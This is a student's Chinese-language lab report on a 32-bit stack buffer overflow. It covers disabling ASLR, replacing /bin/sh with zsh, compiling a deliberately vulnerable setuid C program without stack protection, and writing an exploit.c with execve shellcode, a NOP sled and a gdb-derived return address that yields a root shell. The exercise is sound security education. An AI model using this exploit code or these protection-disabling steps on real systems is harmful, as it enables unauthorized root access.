20181315 缓冲区溢出
一、实验简介
注意：实验中命令在 xfce 终端中输入，前面有 $ 的内容为在终端输入的命令，$ 号不需要输入。命令上有 # 的内容为注释，不需要输入
适用人群：
- 有 C 语言基础
- 会进制转换以及计算
- vim 基本使用
- 熟悉基本 linux 命令
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
系统用户名 shiyanlou
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
3.1初始设置
1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
2、许多shell程序在被调用时会自动放弃自己的特权，例如root 权限，而这个防护措施在 /bin/bash 中实现。因此我们使用另一个 shell 程序（zsh）代替 /bin/bash
sudo su cd /bin rm sh ln -s zsh sh exit
3.2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
3.3漏洞程序
在 /tmp 目录下新建一个 stack.c 文件：
cd /tmp
vim stack.c
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Propely\n"); return 1; }
编译，并设置set-uid
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
在 /tmp 目录下新建一个 exploit.c 文件，用以攻击刚才的漏洞程序获得root权限：
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意一下上述代码，\x??\x??\处需要改为 shellcode 保存在内存中的地址，因为发生溢出后这个位置要覆盖返回地址。
而 strcpy(buffer+100,shellcode)，shellcode保存在 buffer + 100 的位置。下面将介绍寻找这个 buffer 的地址。
输入命令进入 gdb 调试：
gdb stack
disass main
根据strcpy(buffer + 100,shellcode);可计算 shellcode 的地址为 0xffffd4c0(十六进制) + 0x64(100的十六进制) = 0xffffd524(十六进制)
修改exploit.c文件，将 \x??\x??\x??\x?? 修改为 \x24\xd5\xff\xff 并编译。
gcc -m32 -o exploit exploit.c
运行攻击程序 exploit和漏洞程序 stack，观察结果：
通过攻击，获得了root 权限。
四、实验总结
通过本次实验自己对缓冲区溢出有了更加深入的了解，通过实验楼的指导从而较为顺利的完成了本次实验。但是并没有一次成功，因为我遇到的最大问题就是在设置 SET-UID时，命令gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c总是执行失败，后来发现是提前退出文件夹了。
